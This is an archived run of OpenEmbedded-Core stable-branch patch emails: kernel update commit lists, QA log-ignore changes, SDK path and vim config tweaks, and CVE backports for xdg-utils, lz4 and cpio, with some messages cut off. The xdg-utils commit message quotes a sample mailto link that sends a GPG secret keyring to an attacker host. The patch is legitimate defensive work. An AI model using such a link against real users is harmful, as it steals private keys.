0f47027d1b9b arm64: dts: renesas: rzg2: Add usb2_clksel to RZ/G2 M/N/H
eaa7feecd366 mm: make zone_to_nid() and zone_set_nid() available for 
DISCONTIGMEM
0e709390372f Revert "selftests/resctrl: Use resctrl/info for feature 
detection"
d8c38598701f bpf: Add lockdown check for probe_write_user helper
5b5064ea9a94 firmware: tee_bnxt: Release TEE shm, session, and context 
during kexec
c5a625c6a4ac tee: Correct inappropriate usage of TEE_SHM_DMA_BUF flag
9f105d2d4f6c KVM: SVM: Fix off-by-one indexing when nullifying last used 
SEV VMCB
132a8267adab Linux 5.10.58
3d7d1b0f5f41 arm64: fix compat syscall return truncation
bb65051dcd1f drm/amdgpu/display: only enable aux backlight control for OLED 
panels
c8b7cfa674ee smb3: rc uninitialized in one fallocate path
8cfdd039ca18 net/qla3xxx: fix schedule while atomic in 
ql_wait_for_drvr_lock and ql_adapter_reset
fbbb209268e5 alpha: Send stop IPI to send to online CPUs
13d0a9b3b917 net: qede: Fix end of loop tests for list_for_each_entry
1478e902bcbc virt_wifi: fix error on connect
ecd8614809eb reiserfs: check directory items on read from disk
dbe4f82fedc6 reiserfs: add check for root_inode in reiserfs_fill_super
0f05e0ffa247 libata: fix ata_pio_sector for CONFIG_HIGHMEM
11891adab23d drm/i915: avoid uninitialised var in eb_parse()
a3e6bd0c71bb sched/rt: Fix double enqueue caused by rt_effective_prio
c797b8872bb9 perf/x86/amd: Don't touch the AMD64_EVENTSEL_HOSTONLY bit 
inside the guest
2d94cffc94a5 soc: ixp4xx/qmgr: fix invalid __iomem access
7397034905ac drm/i915: Correct SFC_DONE register offset
16aecf1e36d9 interconnect: qcom: icc-rpmh: Ensure floor BW is enforced for 
all nodes
22b4917c85af interconnect: Always call pre_aggregate before aggregate
ccfe4f62ff9f interconnect: Zero initial BW after sync-state
05565b469358 spi: meson-spicc: fix memory leak in meson_spicc_remove
1a084e78217d interconnect: Fix undersized devress_alloc allocation
dcc23e58511b soc: ixp4xx: fix printing resources
37cbd27ef4b2 arm64: vdso: Avoid ISB after reading from cntvct_el0
7a2b5bb00f54 KVM: x86/mmu: Fix per-cpu counter corruption on 32-bit builds
32f55c25ee29 KVM: Do not leak memory for duplicate debugfs directories
309a31127bef KVM: x86: accept userspace interrupt only if no event is 
injected
a786282b55b4 md/raid10: properly indicate failure when ending a failed 
write request
3d7d2d2b069b ARM: omap2+: hwmod: fix potential NULL pointer access
9851ad2f7107 Revert "gpio: mpc8xxx: change the gpio interrupt flags."
57c44e7ac788 bus: ti-sysc: AM3: RNG is GP only
f4984f60acc7 selinux: correct the return value when loads initial sids
100f8396d154 pcmcia: i82092: fix a null pointer dereference bug
afcd5a0e015f net/xfrm/compat: Copy xfrm_spdattr_type_t atributes
f08b2d078cbb xfrm: Fix RCU vs hash_resize_mutex lock inversion
23e36a8610ca timers: Move clearing of base::timer_running under base:: Lock
9a69d0d24d69 fpga: dfl: fme: Fix cpu hotplug issue in performance reporting
bfb5f1a12325 serial: 8250_pci: Avoid irq sharing for MSI(-X) interrupts.
0f30fedced7c serial: 8250_pci: Enumerate Elkhart Lake UARTs via dedicated 
driver
17f3c64f707b MIPS: Malta: Do not byte-swap accesses to the CBUS UART
8a1624f4a8d3 serial: 8250: Mask out floating 16/32-bit bus bits
c03cef67157a serial: 8250_mtk: fix uart corruption issue when rx power off
a4f8bfc919ee serial: tegra: Only print FIFO error message when an error 
occurs
cc7300776808 ext4: fix potential htree corruption when growing large_dir 
directories
6b5a3d2c2b89 pipe: increase minimum default pipe size to 2 pages
556e7f204d34 media: rtl28xxu: fix zero-length control request
551e0c5d6b2e drivers core: Fix oops when driver probe fails
faec2c68ea5f staging: rtl8712: error handling refactoring
e468a357af68 staging: rtl8712: get rid of flush_scheduled_work
369101e39911 staging: 

[OE-core] [hardknott][PATCH 08/11] linux-yocto/5.10: update to v5.10.60

[Anuj Mittal]

From: Bruce Ashfield 

Updating linux-yocto/5.10 to the latest korg -stable release that comprises
the following commits:

2c5bd949b1df Linux 5.10.60
3a24e121304a net: dsa: microchip: ksz8795: Use software untagging on CPU 
port
1e78179d75fb net: dsa: microchip: ksz8795: Fix VLAN untagged flag change on 
deletion
5033d5e23155 net: dsa: microchip: ksz8795: Reject unsupported VLAN 
configuration
60c007b52779 net: dsa: microchip: ksz8795: Fix PVID tag insertion
f365d53c8687 net: dsa: microchip: Fix probing KSZ87xx switch with DT node 
for host port
3dc5666baf2a KVM: nSVM: always intercept VMLOAD/VMSAVE when nested 
(CVE-2021-3656)
c0883f693187 KVM: nSVM: avoid picking up unsupported bits from L2 in 
int_ctl (CVE-2021-3653)
b5f05bdfda28 vmlinux.lds.h: Handle clang's module.{c,d}tor sections
2fe07584a623 ceph: take snap_empty_lock atomically with snaprealm refcount 
change
a23aced54c2c ceph: clean up locking annotation for ceph_get_snap_realm and 
__lookup_snap_realm
b0efc93271ca ceph: add some lockdep assertions around snaprealm handling
dcdb587ac470 vboxsf: Add support for the atomic_open directory-inode op
7cd14c1a7fed vboxsf: Add vboxsf_[create|release]_sf_handle() helpers
433f0b31ebec KVM: nVMX: Use vmx_need_pf_intercept() when deciding if L0 
wants a #PF
0ab67e3dfc4d KVM: VMX: Use current VMCS to query WAITPKG support for MSR 
emulation
4a948c579ed6 efi/libstub: arm64: Double check image alignment at entry
fc7da433fa16 powerpc/smp: Fix OOPS in topology_init()
312730cd15e0 PCI/MSI: Protect msi_desc::masked for multi-MSI
724d0a985086 PCI/MSI: Use msi_mask_irq() in pci_msi_shutdown()
923368751866 PCI/MSI: Correct misleading comments
e42fb8e6161e PCI/MSI: Do not set invalid bits in MSI mask
042e03c9cdab PCI/MSI: Enforce MSI[X] entry updates to be visible
0b2509d7a90c PCI/MSI: Enforce that MSI-X table entry is masked for update
aa8092c1d1f1 PCI/MSI: Mask all unused MSI-X entries
7e90e81a4b59 PCI/MSI: Enable and mask MSI-X early
2d2c66848027 genirq/timings: Prevent potential array overflow in 
__irq_timings_store()
355754194b48 genirq/msi: Ensure deactivation on teardown
f0736bed18fb x86/resctrl: Fix default monitoring groups reporting
25216ed97da8 x86/ioapic: Force affinity setup before startup
19fb5dabedca x86/msi: Force affinity setup before startup
4e52a4fe6f44 genirq: Provide IRQCHIP_AFFINITY_PRE_STARTUP
2a28b52306f2 x86/tools: Fix objdump version check again
4acc0d987141 powerpc/kprobes: Fix kprobe Oops happens in booke
015e2c900b5d efi/libstub: arm64: Relax 2M alignment again for relocatable 
kernels
feb4a01d3ece efi/libstub: arm64: Force Image reallocation if BSS was not 
reserved
afcb84e6cf8c arm64: efi: kaslr: Fix occasional random alloc (and boot) 
failure
e0ee8d9c31b5 nbd: Aovid double completion of a request
f5cefe9a52a6 vsock/virtio: avoid potential deadlock when vsock device remove
dff830e5e723 xen/events: Fix race in set_evtchn_to_irq
65395b053d03 drm/i915: Only access SFC_DONE when media domain is not fused 
off
430d91b3 net: igmp: increase size of mr_ifc_count
696afe28dc51 tcp_bbr: fix u32 wrap bug in round logic if bbr_init() called 
after 2B packets
8976606ca347 net: linkwatch: fix failure to restore device state across 
suspend/resume
4c2af90119ea net: bridge: fix memleak in br_add_if()
f333a5ca71c3 net: bridge: fix flags interpretation for extern learn fdb 
entries
e3b949b86d09 net: bridge: validate the NUD_PERMANENT bit when adding an 
extern_learn FDB entry
1cad01aca1fa net: dsa: sja1105: fix broken backpressure in .port_fdb_dump
56cc3408ff2a net: dsa: lantiq: fix broken backpressure in .port_fdb_dump
f7720b35cd32 net: dsa: lan9303: fix broken backpressure in .port_fdb_dump
24e1b7dbb174 net: igmp: fix data-race in igmp_ifc_timer_expire()
69b13167a636 net: Fix memory leak in ieee802154_raw_deliver
dbfaf7a6a23a net: dsa: microchip: ksz8795: Fix VLAN filtering
ccc1fe82c878 net: dsa: microchip: Fix ksz_read64()
558092b8ed31 drm/meson: fix colour distortion from HDR set during vendor 
u-boot
6e1886465dea net/mlx5: Fix return value from tracer initialization
303ba011f5e1 net/mlx5: Synchronize correct IRQ when destroying CQ
00a0c11ddd72 bareudp: Fix invalid read beyond skb's linear data
30b1fc47f765 psample: Add a fwd declaration for skbuff
b3f0b170842c iavf: Set RSS LUT and key in reset handle path
a6192bae12e4 ice: don't remove netdev->dev_addr from uc sync list
bae5b521feaa ice: Prevent probing virtual functions
059238c52c61 net: sched: act_mirred: Reset ct info when mirror/redirect skb
f15f7716b047 net/smc: fix wait on already cleared link
51f4965d775e ppp: Fix generating ifname when empty IFLA_IFNAME is specified
046579c9fc28 net: phy: micrel: Fix link detection on ksz87xx switch"
e95620c3bdff bpf: Fix integer overflow 

[OE-core] [hardknott][PATCH 09/11] parselogs.py: ignore intermittent CD/DVDROM identification failure

[Anuj Mittal]

From: Bruce Ashfield 

We don't use the CD/DVD ROM drive in any of our tests, but it
periodically fails discovery and that leads to a QA error:

[6.403477] ata3.00: failed to IDENTIFY (I/O error, err_mask=0x4)

The only way to disable the optical ROM drive in qemu is to use
the '-nodefaults' option, which disables the CDROM (among other things).
We can't be sure that none of our tests, or extended users are relying
on default devices, so using that option is more of a risk than adding
the message to our ignore list.

To date, no one has sent a patch to just disable the optical drive
(either in qemu or the BIOS), but that is something we could consider
in the future.

[YOCTO #14528]

Signed-off-by: Bruce Ashfield 
Signed-off-by: Richard Purdie 
(cherry picked from commit 143fc5504539c69752ca87717507c197a8920ce5)
Signed-off-by: Anuj Mittal 
---
 meta/lib/oeqa/runtime/cases/parselogs.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/meta/lib/oeqa/runtime/cases/parselogs.py 
b/meta/lib/oeqa/runtime/cases/parselogs.py
index e06f92727e..7f085565e2 100644
--- a/meta/lib/oeqa/runtime/cases/parselogs.py
+++ b/meta/lib/oeqa/runtime/cases/parselogs.py
@@ -97,6 +97,7 @@ ignore_errors = {
 'qemux86' : [
 'Failed to access perfctr msr (MSR',
 'pci :00:00.0: [Firmware Bug]: reg 0x..: invalid BAR (can\'t 
size)',
+'failed to IDENTIFY (I/O error, err_mask=0x4)',
 ] + qemux86_common,
 'qemux86-64' : qemux86_common,
 'qemumips' : [
-- 
2.31.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155740): 
https://lists.openembedded.org/g/openembedded-core/message/155740
Mute This Topic: https://lists.openembedded.org/mt/85430115/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 10/11] oeqa/runtime/parselogs: Make DVD ata error apply to all qemux86 machines

[Anuj Mittal]

From: Richard Purdie 

This log checking fix is needed for both qemux86 and qemux86-64 so move
to the common section.

[YOCTO #14528]

Signed-off-by: Richard Purdie 
(cherry picked from commit 2475ce68f0bc1f342c75364dfcfaf7f30499badf)
Signed-off-by: Anuj Mittal 
---
 meta/lib/oeqa/runtime/cases/parselogs.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/meta/lib/oeqa/runtime/cases/parselogs.py 
b/meta/lib/oeqa/runtime/cases/parselogs.py
index 7f085565e2..01b633d89e 100644
--- a/meta/lib/oeqa/runtime/cases/parselogs.py
+++ b/meta/lib/oeqa/runtime/cases/parselogs.py
@@ -90,6 +90,7 @@ qemux86_common = [
 "glamor initialization failed",
 "blk_update_request: I/O error, dev fd0, sector 0 op 0x0:(READ)",
 "floppy: error",
+'failed to IDENTIFY (I/O error, err_mask=0x4)',
 ] + common_errors
 
 ignore_errors = {
@@ -97,7 +98,6 @@ ignore_errors = {
 'qemux86' : [
 'Failed to access perfctr msr (MSR',
 'pci :00:00.0: [Firmware Bug]: reg 0x..: invalid BAR (can\'t 
size)',
-'failed to IDENTIFY (I/O error, err_mask=0x4)',
 ] + qemux86_common,
 'qemux86-64' : qemux86_common,
 'qemumips' : [
-- 
2.31.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155741): 
https://lists.openembedded.org/g/openembedded-core/message/155741
Mute This Topic: https://lists.openembedded.org/mt/85430116/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 11/11] xdg-utils: Add fix for CVE-2020-27748

[Anuj Mittal]

From: Richard Purdie 

Backport an upstream patch for the CVE.

Signed-off-by: Richard Purdie 
(cherry picked from commit 87191ed0303f6552865ad1edcacd674c57f2010c)
Signed-off-by: Anuj Mittal 
---
 ...9813e0eb0246f63b54e9e154970e609575af.patch | 58 +++
 .../xdg-utils/xdg-utils_1.1.3.bb  |  1 +
 2 files changed, 59 insertions(+)
 create mode 100644 
meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch

diff --git 
a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
 
b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
new file mode 100644
index 00..948b9e22e9
--- /dev/null
+++ 
b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
@@ -0,0 +1,58 @@
+From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= 
+Date: Tue, 18 Aug 2020 16:52:24 +0100
+Subject: [PATCH] xdg-email: remove attachment handling from mailto
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
+This allows attacker to extract secrets from users:
+
+mailto:s...@evil.com?attach=/.gnupg/secring.gpg
+
+See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
+and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
+
+Signed-off-by: Jörg Thalheim 
+---
+ scripts/xdg-email.in | 7 +--
+ 1 file changed, 1 insertion(+), 6 deletions(-)
+
+Upstream-Status: Backport
+CVE: CVE-2020-27748
+
+diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
+index 6db58ad..5d2f4f3 100644
+--- a/scripts/xdg-email.in
 b/scripts/xdg-email.in
+@@ -32,7 +32,7 @@ _USAGE
+ 
+ run_thunderbird()
+ {
+-local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
++local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
+ THUNDERBIRD="$1"
+ MAILTO=$(echo "$2" | sed 's/^mailto://')
+ echo "$MAILTO" | grep -qs "^?"
+@@ -48,7 +48,6 @@ run_thunderbird()
+ BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 
's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
+ SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
+ BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
+-ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 
's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
+ 
+ if [ -z "$TO" ] ; then
+ NEWMAILTO=
+@@ -68,10 +67,6 @@ run_thunderbird()
+ NEWMAILTO="${NEWMAILTO},$BODY"
+ fi
+ 
+-if [ -n "$ATTACH" ] ; then
+-NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
+-fi
+-
+ NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
+ DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
+ "$THUNDERBIRD" -compose "$NEWMAILTO"
+-- 
+GitLab
+
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb 
b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
index d371c5c28c..41b74b8598 100644
--- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
+++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
@@ -20,6 +20,7 @@ LIC_FILES_CHKSUM = 
"file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
 SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
file://0001-Reinstate-xdg-terminal.patch \
file://0001-Don-t-build-the-in-script-manual.patch \
+   file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
   "
 
 SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff"
-- 
2.31.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155742): 
https://lists.openembedded.org/g/openembedded-core/message/155742
Mute This Topic: https://lists.openembedded.org/mt/85430119/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 03/11] lz4: Security Fix for CVE-2021-3520

[Anuj Mittal]

From: Armin Kuster 

Source: https://github.com/lz4/lz4
MR: 111604
Type: Security Fix
Disposition: Backport from 
https://github.com/lz4/lz4/commit/8301a21773ef61656225e264f4f06ae14462bca7#diff-7055e9cf14c488aea9837aaf9f528b58ee3c22988d7d0d81d172ec62d94a88a7
ChangeID: 58492f950164e75954a97cf084df6f9af3d88244
Description:

Signed-off-by: Armin Kuster 
Signed-off-by: Richard Purdie 
(cherry picked from commit 6d6a089a2f637051333e0137d2e748c823e2aa98)
Signed-off-by: Anuj Mittal 
---
 .../lz4/files/CVE-2021-3520.patch | 27 +++
 meta/recipes-support/lz4/lz4_1.9.3.bb |  1 +
 2 files changed, 28 insertions(+)
 create mode 100644 meta/recipes-support/lz4/files/CVE-2021-3520.patch

diff --git a/meta/recipes-support/lz4/files/CVE-2021-3520.patch 
b/meta/recipes-support/lz4/files/CVE-2021-3520.patch
new file mode 100644
index 00..5ac8f6691f
--- /dev/null
+++ b/meta/recipes-support/lz4/files/CVE-2021-3520.patch
@@ -0,0 +1,27 @@
+From 8301a21773ef61656225e264f4f06ae14462bca7 Mon Sep 17 00:00:00 2001
+From: Jasper Lievisse Adriaanse 
+Date: Fri, 26 Feb 2021 15:21:20 +0100
+Subject: [PATCH] Fix potential memory corruption with negative memmove() size
+
+Upstream-Status: Backport
+https://github.com/lz4/lz4/commit/8301a21773ef61656225e264f4f06ae14462bca7#diff-7055e9cf14c488aea9837aaf9f528b58ee3c22988d7d0d81d172ec62d94a88a7
+CVE: CVE-2021-3520
+Signed-off-by: Armin Kuster 
+
+---
+ lib/lz4.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+Index: git/lib/lz4.c
+===
+--- git.orig/lib/lz4.c
 git/lib/lz4.c
+@@ -1665,7 +1665,7 @@ LZ4_decompress_generic(
+  const size_t dictSize /* note : = 0 if noDict */
+  )
+ {
+-if (src == NULL) { return -1; }
++if ((src == NULL) || (outputSize < 0)) { return -1; }
+ 
+ {   const BYTE* ip = (const BYTE*) src;
+ const BYTE* const iend = ip + srcSize;
diff --git a/meta/recipes-support/lz4/lz4_1.9.3.bb 
b/meta/recipes-support/lz4/lz4_1.9.3.bb
index effc530b94..9d5dc0253a 100644
--- a/meta/recipes-support/lz4/lz4_1.9.3.bb
+++ b/meta/recipes-support/lz4/lz4_1.9.3.bb
@@ -14,6 +14,7 @@ SRCREV = "d44371841a2f1728a3f36839fd4b7e872d0927d3"
 
 SRC_URI = "git://github.com/lz4/lz4.git;branch=release \
file://run-ptest \
+   file://CVE-2021-3520.patch \
"
 UPSTREAM_CHECK_GITTAGREGEX = "v(?P.*)"
 
-- 
2.31.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155734): 
https://lists.openembedded.org/g/openembedded-core/message/155734
Mute This Topic: https://lists.openembedded.org/mt/85430108/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 04/11] sdk: Decouple default install path from built in path

[Anuj Mittal]

From: Richard Purdie 

Add SDKPATHINSTALL which is used as the default install location of the SDK
instead of SDKPATH. This means the default install path isn't encoded into
every SDK binary, meaning if a date is used there the entire SDK doesn't
have to rebuild. Most distros can switch to only customise SDKPATHINSTALL
meaning more sstate reuse too.

[YOCTO #14100]

Signed-off-by: Richard Purdie 
(cherry picked from commit bc4ee5453560dcefc4a4ecc5657df5cc1666e153)
Signed-off-by: Anuj Mittal 
---
 meta/classes/populate_sdk_base.bbclass | 1 +
 meta/conf/bitbake.conf | 4 +++-
 meta/files/toolchain-shar-extract.sh   | 3 ++-
 meta/files/toolchain-shar-relocate.sh  | 2 +-
 4 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/meta/classes/populate_sdk_base.bbclass 
b/meta/classes/populate_sdk_base.bbclass
index f8072a9d37..2d33611ddd 100644
--- a/meta/classes/populate_sdk_base.bbclass
+++ b/meta/classes/populate_sdk_base.bbclass
@@ -280,6 +280,7 @@ EOF
# substitute variables
sed -i -e 's#@SDK_ARCH@#${SDK_ARCH}#g' \
-e 's#@SDKPATH@#${SDKPATH}#g' \
+   -e 's#@SDKPATHINSTALL@#${SDKPATHINSTALL}#g' \
-e 's#@SDKEXTPATH@#${SDKEXTPATH}#g' \
-e 's#@OLDEST_KERNEL@#${SDK_OLDEST_KERNEL}#g' \
-e 
's#@REAL_MULTIMACH_TARGET_SYS@#${REAL_MULTIMACH_TARGET_SYS}#g' \
diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
index 5b52e9307e..d0b92a996a 100644
--- a/meta/conf/bitbake.conf
+++ b/meta/conf/bitbake.conf
@@ -422,8 +422,10 @@ PKGDATA_DIR = "${TMPDIR}/pkgdata/${MACHINE}"
 
 SDK_NAME_PREFIX ?= "oecore"
 SDK_NAME = "${SDK_NAME_PREFIX}-${SDK_ARCH}-${TUNE_PKGARCH}"
-SDKPATH = "/usr/local/${SDK_NAME_PREFIX}-${SDK_ARCH}"
+SDKPATH = "/usr/local/oe-sdk-hardcoded-buildpath"
 SDKPATHNATIVE = "${SDKPATH}/sysroots/${SDK_SYS}"
+# The path to default to installing the SDK to
+SDKPATHINSTALL = "/usr/local/${SDK_NAME_PREFIX}-${SDK_ARCH}"
 
 ##
 # Kernel info.
diff --git a/meta/files/toolchain-shar-extract.sh 
b/meta/files/toolchain-shar-extract.sh
index dd9342758b..4386b985bb 100644
--- a/meta/files/toolchain-shar-extract.sh
+++ b/meta/files/toolchain-shar-extract.sh
@@ -56,7 +56,8 @@ if ! xz -V > /dev/null 2>&1; then
exit 1
 fi
 
-DEFAULT_INSTALL_DIR="@SDKPATH@"
+SDK_BUILD_PATH="@SDKPATH@"
+DEFAULT_INSTALL_DIR="@SDKPATHINSTALL@"
 SUDO_EXEC=""
 EXTRA_TAR_OPTIONS=""
 target_sdk_dir=""
diff --git a/meta/files/toolchain-shar-relocate.sh 
b/meta/files/toolchain-shar-relocate.sh
index ba873373e2..3ece04db0a 100644
--- a/meta/files/toolchain-shar-relocate.sh
+++ b/meta/files/toolchain-shar-relocate.sh
@@ -61,7 +61,7 @@ done | xargs -n100 file | grep 
":.*\(ASCII\|script\|source\).*text" | \
  -e "$target_sdk_dir/post-relocate-setup" \
  -e "$target_sdk_dir/${0##*/}" | \
 xargs -n100 $SUDO_EXEC sed -i \
--e "s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:g" \
+-e "s:$SDK_BUILD_PATH:$target_sdk_dir:g" \
 -e "s:^#! */usr/bin/perl.*:#! /usr/bin/env perl:g" \
 -e "s: /usr/bin/perl: /usr/bin/env perl:g"
 
-- 
2.31.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155735): 
https://lists.openembedded.org/g/openembedded-core/message/155735
Mute This Topic: https://lists.openembedded.org/mt/85430109/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 06/11] vim: add option to disable NLS support

[Anuj Mittal]

From: Andrej Valek 

- Some distributions with UTF-8 locale have problem when National Language
Support is enabled. Add there an option to disable it.

Signed-off-by: Andrej Valek 
Signed-off-by: Richard Purdie 
(cherry picked from commit da630d6d81a396c3e1635fbd7b8103df47ed2732)
Signed-off-by: Anuj Mittal 
---
 meta/recipes-support/vim/vim.inc | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/meta/recipes-support/vim/vim.inc b/meta/recipes-support/vim/vim.inc
index 878d0f18ae..6fe8fb90db 100644
--- a/meta/recipes-support/vim/vim.inc
+++ b/meta/recipes-support/vim/vim.inc
@@ -54,11 +54,12 @@ do_compile() {
 autotools_do_compile
 }
 
-#Available PACKAGECONFIG options are gtkgui, acl, x11, tiny
+#Available PACKAGECONFIG options are gtkgui, acl, x11, tiny selinux, elfutils, 
nls
 PACKAGECONFIG ??= ""
 PACKAGECONFIG += " \
 ${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)} \
 ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11 gtkgui', '', d)} \
+nls \
 "
 
 PACKAGECONFIG[gtkgui] = "--enable-gui=gtk3,--enable-gui=no,gtk+3"
@@ -67,6 +68,7 @@ PACKAGECONFIG[x11] = "--with-x,--without-x,xt,"
 PACKAGECONFIG[tiny] = "--with-features=tiny,--with-features=big,,"
 PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux,"
 PACKAGECONFIG[elfutils] = "--enable-elf-check,,elfutils,"
+PACKAGECONFIG[nls] = "--enable-nls,--disable-nls,,"
 
 EXTRA_OECONF = " \
 --disable-gpm \
-- 
2.31.1


-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#155737): 
https://lists.openembedded.org/g/openembedded-core/message/155737
Mute This Topic: https://lists.openembedded.org/mt/85430112/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub 
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-

[OE-core] [hardknott][PATCH 05/11] cpio: backport fix for CVE-2021-38185

[Anuj Mittal]

From: Ross Burton 

Signed-off-by: Ross Burton 
Signed-off-by: Richard Purdie 
(cherry picked from commit 4accf77ea5b5810cb2330acc6773690ec1b1c71b)
Signed-off-by: Anuj Mittal 
---
 .../cpio/cpio-2.13/CVE-2021-38185.patch   | 581 ++
 meta/recipes-extended/cpio/cpio_2.13.bb   |   1 +
 2 files changed, 582 insertions(+)
 create mode 100644 meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch

diff --git a/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch 
b/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch
new file mode 100644
index 00..6ceafeee49
--- /dev/null
+++ b/meta/recipes-extended/cpio/cpio-2.13/CVE-2021-38185.patch
@@ -0,0 +1,581 @@
+GNU cpio through 2.13 allows attackers to execute arbitrary code via a crafted
+pattern file, because of a dstring.c ds_fgetstr integer overflow that triggers
+an out-of-bounds heap write.
+
+CVE: CVE-2021-38185
+Upstream-Status: Backport
+Signed-off-by: Ross Burton 
+
+From e494c68a3a0951b1eaba77e2db93f71a890e15d8 Mon Sep 17 00:00:00 2001
+From: Sergey Poznyakoff 
+Date: Sat, 7 Aug 2021 12:52:21 +0300
+Subject: [PATCH 1/3] Rewrite dynamic string support.
+
+* src/dstring.c (ds_init): Take a single argument.
+(ds_free): New function.
+(ds_resize): Take a single argument.  Use x2nrealloc to expand
+the storage.
+(ds_reset,ds_append,ds_concat,ds_endswith): New function.
+(ds_fgetstr): Rewrite.  In particular, this fixes integer overflow.
+* src/dstring.h (dynamic_string): Keep both the allocated length
+(ds_size) and index of the next free byte in the string (ds_idx).
+(ds_init,ds_resize): Change signature.
+(ds_len): New macro.
+(ds_free,ds_reset,ds_append,ds_concat,ds_endswith): New protos.
+* src/copyin.c: Use new ds_ functions.
+* src/copyout.c: Likewise.
+* src/copypass.c: Likewise.
+* src/util.c: Likewise.
+---
+ src/copyin.c   | 40 +++
+ src/copyout.c  | 16 -
+ src/copypass.c | 34 +--
+ src/dstring.c  | 88 --
+ src/dstring.h  | 31 +-
+ src/util.c |  6 ++--
+ 6 files changed, 123 insertions(+), 92 deletions(-)
+
+diff --git a/src/copyin.c b/src/copyin.c
+index b29f348..37e503a 100644
+--- a/src/copyin.c
 b/src/copyin.c
+@@ -55,11 +55,12 @@ query_rename(struct cpio_file_stat* file_hdr, FILE 
*tty_in, FILE *tty_out,
+   char *str_res;  /* Result for string function.  */
+   static dynamic_string new_name; /* New file name for rename option.  */
+   static int initialized_new_name = false;
++
+   if (!initialized_new_name)
+-  {
+-ds_init (_name, 128);
+-initialized_new_name = true;
+-  }
++{
++  ds_init (_name);
++  initialized_new_name = true;
++}
+ 
+   if (rename_flag)
+ {
+@@ -779,37 +780,36 @@ long_format (struct cpio_file_stat *file_hdr, char const 
*link_name)
+already in `save_patterns' (from the command line) are preserved.  */
+ 
+ static void
+-read_pattern_file ()
++read_pattern_file (void)
+ {
+-  int max_new_patterns;
+-  char **new_save_patterns;
+-  int new_num_patterns;
++  char **new_save_patterns = NULL;
++  size_t max_new_patterns;
++  size_t new_num_patterns;
